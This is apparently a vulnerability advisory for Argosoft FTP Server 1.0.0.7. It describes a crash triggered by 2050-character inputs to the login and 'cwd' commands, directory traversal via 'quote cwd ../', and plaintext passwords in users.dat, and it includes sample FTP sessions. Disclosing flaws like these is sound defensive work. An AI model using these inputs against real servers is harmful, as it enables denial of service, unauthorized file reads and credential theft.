|
Brought to you by:
Suppliers of:
|
|
|
| |
The Argosoft FTP Server suffers from multiple vulnerabilities in some of its FTP commands, which allow execution of arbitrary code and the ability to read any file on the hard-drive.
The sum of those vulnerabilities enables attackers to gain valid usernames and passwords on the system. |
| |
Credit:
The information has been provided by: Moe1.
|
| |
Vulnerable systems:
Argosoft FTP Server version 1.0.0.7
Immune systems:
Argosoft FTP Server version 1.2.0.1
1) Any command followed by 2050 characters causes the FTP Server to crash.
Example:
C:\>ftp 127.0.0.1
Connected to 127.0.0.1.
220 Argosoft FTP Server, Version 1.0 (1.0.0.7)
User (127.0.0.1:(none)):AAAAAAAAAAA...A (2050 characters long)
After a while the FTP Server logs show:
'Error: Access violation at address 00401CBB in module 'FTPSERVER.EXE'. Write of address 41414145'
Another example:
C:\>ftp 127.0.0.1
Connected to 127.0.0.1.
220 Argosoft FTP Server, Version 1.0 (1.0.0.7)
User (127.0.0.1:(none)): t-zr
331 User name OK, need password
Password:
230 User t-zr logged in successfully
ftp> quote cwd AAAAAA...A(2050 characters long)
After a while the FTP Server logs show:
'Error: Invalid pointer operation'
2) Directory climbing (dotdotdot traversal):
Argosoft FTP Server allows directory climbing out of the server's home directory. By executing a 'quote cwd ../' users can view files outside the virtual FTP 'root'.
3) Argosoft FTP Server keeps passwords in plain text in the users.dat file, allowing anyone with access to that directory (see vulnerability number 2) to get valid usernames and passwords.
|
|
|
|
|
